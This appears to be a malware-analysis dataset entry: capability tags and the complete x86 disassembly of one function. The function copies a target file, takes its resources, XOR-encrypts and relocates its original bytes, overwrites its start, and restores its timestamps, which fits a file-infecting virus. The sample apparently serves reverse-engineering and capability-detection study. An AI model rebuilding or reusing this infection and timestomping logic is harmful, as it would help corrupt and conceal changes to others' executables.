Function at 0x403ecb
Capabilities:
Copy file
Delete file
Encode data using xor
Extract resource via kernel32 functions
Get file attributes
Get file size
Move file
Set file attributes
Timestomp file

Disassembly:
enter 0x448, 1
push ebx
push esi
push edi
push 0x40a7bd
push 0x404564
call fcn.004081d8
mov byte [ebp - 0x33e], 1
mov byte [ebp - 0x33f], 0
lea eax, [ebp - 0x305]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.004071ca
call fcn.0040794c
mov dword [ebp - 0x311], 1
push 0x14
call fcn.0040793c
mov ebx, eax
add ebx, 0x41
lea eax, [ebp - 0x305]
push eax
call fcn.004071a0
sub eax, dword [ebp - 0x311]
mov byte [eax + ebp - 0x305], bl
inc dword [ebp - 0x311]
cmp dword [ebp - 0x311], 3
jle 0x403f0e
push 0
lea eax, [ebp - 0x305]
push eax
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
jne 0x403f6a
lea eax, [ebp - 0x305]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.004071ca
jmp 0x403f71
mov byte [ebp - 0x33f], 1
lea eax, [ebp - 0x305]
push eax
call sub.kernel32.dll_GetFileAttributesA
mov dword [ebp - 0x321], eax
push 0x20
lea eax, [ebp - 0x305]
push eax
call sub.kernel32.dll_SetFileAttributesA
cmp dword [0x40b594], 0
je 0x403fd0
push dword [0x40b594]
lea eax, [ebp - 0x444]
push eax
lea eax, [ebp - 0x440]
push eax
lea eax, [ebp - 0x305]
push eax
call fcn.00407286
call fcn.00407b38
pop eax
push dword [eax]
call fcn.00403514
test eax, eax
jne 0x403fd0
jmp 0x4044af
and dword [0x40b590], 0
or edi, 0xffffffff
push 2
push 0
lea eax, [ebp - 0x305]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov dword [ebp - 0x44c], eax
mov eax, dword [ebp - 0x44c]
test eax, eax
je 0x40411a
push 0
push 0x403ea0
push 3
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll_EnumResourceNamesA
mov esi, dword [0x40b590]
dec esi
mov eax, dword [ebp - 0x448]
and eax, 0
mov dword [ebp - 0x448], eax
jmp 0x404093
push 3
mov eax, dword [ebp - 0x448]
push dword [eax*4 + 0x40fbb5]
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll_FindResourceA
mov dword [ebp - 0x325], eax
cmp dword [ebp - 0x325], 0
je 0x404086
cmp edi, 0xffffffff
jne 0x404086
push dword [ebp - 0x325]
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll_SizeofResource
mov dword [ebp - 0x315], eax
cmp dword [ebp - 0x315], 0xea8
jg 0x404086
mov edi, dword [ebp - 0x315]
jmp 0x40409d
mov eax, dword [ebp - 0x448]
inc eax
mov dword [ebp - 0x448], eax
mov eax, dword [ebp - 0x448]
cmp esi, eax
jge 0x40402b
push 3
mov eax, dword [ebp - 0x448]
push dword [eax*4 + 0x40fbb5]
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll_FindResourceA
push eax
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll_LoadResource
push eax
call sub.kernel32.dll_LockResource
mov dword [ebp - 0x309], eax
mov esi, edi
dec esi
and dword [ebp - 0x311], 0
jmp 0x404106
mov ecx, dword [ebp - 0x309]
mov eax, dword [ebp - 0x311]
mov dl, byte [eax + ecx]
mov ecx, dword [0x40b741]
mov eax, dword [ebp - 0x311]
add eax, 0x614
mov byte [eax + ecx], dl
inc dword [ebp - 0x311]
cmp esi, dword [ebp - 0x311]
jge 0x4040dd
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll_FreeLibrary
push 2
lea eax, [ebp - 0x305]
push eax
call sub.kernel32.dll__lopen
mov dword [ebp - 0x44c], eax
mov eax, dword [ebp - 0x44c]
cmp eax, 0xffffffff
jne 0x40413e
jmp 0x4044af
lea eax, [ebp - 0x335]
push eax
lea eax, [ebp - 0x33d]
push eax
lea eax, [ebp - 0x32d]
push eax
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll_GetFileTime
push 0
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll_GetFileSize
mov dword [0x40b57c], eax
push 0x6eac
push dword [0x40b745]
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll__lread
cmp eax, 0xffffffff
jne 0x404193
jmp 0x4044af
push 0x100
call fcn.0040793c
inc eax
mov ecx, dword [0x40b745]
mov byte [ecx], al
push 0x100
call fcn.0040793c
inc eax
mov ecx, dword [0x40b745]
mov byte [ecx + 1], al
mov dword [ebp - 0x311], 1
push 0x100
call fcn.0040793c
inc eax
mov ecx, dword [ebp - 0x311]
mov byte [ecx + 0x40b72a], al
inc dword [ebp - 0x311]
cmp dword [ebp - 0x311], 0xa
jle 0x4041c4
mov dword [ebp - 0x311], 1
mov ecx, dword [0x40b745]
mov eax, dword [ebp - 0x311]
add eax, 0xbb8
mov bl, byte [eax + ecx]
mov eax, dword [ebp - 0x311]
dec eax
mov ecx, 0xa
cdq
idiv ecx
inc edx
xor bl, byte [edx + 0x40b72a]
mov ecx, dword [0x40b741]
mov eax, dword [ebp - 0x311]
add eax, 0x263
mov byte [eax + ecx], bl
push 0x100
call fcn.0040793c
mov edx, dword [0x40b745]
mov ecx, dword [ebp - 0x311]
add ecx, 0xbb8
mov byte [ecx + edx], al
inc dword [ebp - 0x311]
cmp dword [ebp - 0x311], 0x14
jle 0x4041f4
mov eax, dword [ebp - 0x448]
and eax, 0
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x311], 1
mov eax, dword [ebp - 0x311]
movzx ecx, byte [eax + 0x40b72a]
mov eax, dword [ebp - 0x448]
add ecx, eax
inc ecx
mov dword [ebp - 0x448], ecx
mov eax, dword [ebp - 0x311]
mov dl, byte [eax + 0x40b72a]
mov ecx, dword [0x40b741]
mov eax, dword [ebp - 0x311]
add eax, 0x2ae
mov byte [eax + ecx], dl
inc dword [ebp - 0x311]
cmp dword [ebp - 0x311], 0xa
jle 0x404279
and dword [ebp - 0x311], 0
mov ecx, dword [0x40b745]
mov eax, dword [ebp - 0x311]
mov bl, byte [eax + ecx]
mov eax, dword [ebp - 0x311]
dec eax
mov ecx, 0xa
cdq
idiv ecx
inc edx
xor bl, byte [edx + 0x40b72a]
movzx ebx, bl
mov eax, dword [ebp - 0x448]
imul dword [ebp - 0x311]
xor ebx, eax
mov ecx, dword [0x40b745]
mov eax, dword [ebp - 0x311]
mov byte [eax + ecx], bl
inc dword [ebp - 0x311]
cmp dword [ebp - 0x311], 0x6eab
jle 0x4042cb
push 0
push dword [0x40b57c]
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x404340
jmp 0x4044af
push 0x6eac
push dword [0x40b745]
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll__lwrite
cmp eax, 0xffffffff
jne 0x404361
jmp 0x4044af
cmp edi, 0xffffffff
jne 0x404374
mov eax, dword [0x40b741]
mov byte [eax + 0x614], 0
jmp 0x404380
mov eax, dword [0x40b741]
mov byte [eax + 0x614], 0x28
push 0
push 0
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x40439a
jmp 0x4044af
push 0x6eac
push dword [0x40b741]
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll__lwrite
cmp eax, 0xffffffff
jne 0x4043bb
jmp 0x4044af
push 0xbb8
call fcn.0040793c
add eax, 0x3e8
mov dword [ebp - 0x311], eax
mov esi, dword [ebp - 0x311]
mov eax, dword [ebp - 0x448]
and eax, 0
mov dword [ebp - 0x448], eax
jmp 0x40440e
push 0xfe
call fcn.0040793c
inc eax
mov edx, dword [0x40b745]
mov ecx, dword [ebp - 0x448]
mov byte [ecx + edx], al
mov eax, dword [ebp - 0x448]
inc eax
mov dword [ebp - 0x448], eax
mov eax, dword [ebp - 0x448]
cmp esi, eax
jge 0x4043e7
push 2
push 0
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x404432
jmp 0x4044af
push dword [ebp - 0x311]
push dword [0x40b745]
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll__lwrite
cmp eax, 0xffffffff
jne 0x404451
jmp 0x4044af
push 0
push 0x300
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x40446b
jmp 0x4044af
push 2
lea eax, [ebp - 0x311]
push eax
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll__lwrite
cmp eax, 0xffffffff
jne 0x404487
jmp 0x4044af
lea eax, [ebp - 0x335]
push eax
lea eax, [ebp - 0x33d]
push eax
lea eax, [ebp - 0x32d]
push eax
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll_SetFileTime
mov byte [ebp - 0x33e], 0
mov eax, dword [ebp - 0x44c]
push eax
call sub.kernel32.dll__lclose
cmp byte [ebp - 0x33e], 0
je 0x4044d9
cmp byte [ebp - 0x33f], 0
je 0x4044d9
lea eax, [ebp - 0x305]
push eax
call sub.kernel32.dll_DeleteFileA
cmp byte [ebp - 0x33f], 0
je 0x40451d
push 0x20
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x305]
push eax
call sub.kernel32.dll_MoveFileA
test eax, eax
jne 0x40451d
lea eax, [ebp - 0x305]
push eax
call sub.kernel32.dll_DeleteFileA
mov byte [ebp - 0x33e], 1
push dword [ebp - 0x321]
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_SetFileAttributesA
cmp byte [ebp - 0x33e], 0
jne 0x40453b
inc dword [0x40b588]
and dword [0x40b594], 0
push 0x2710
call sub.kernel32.dll_Sleep
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x40456b
push 0x40a7bd
call fcn.0040822c
ret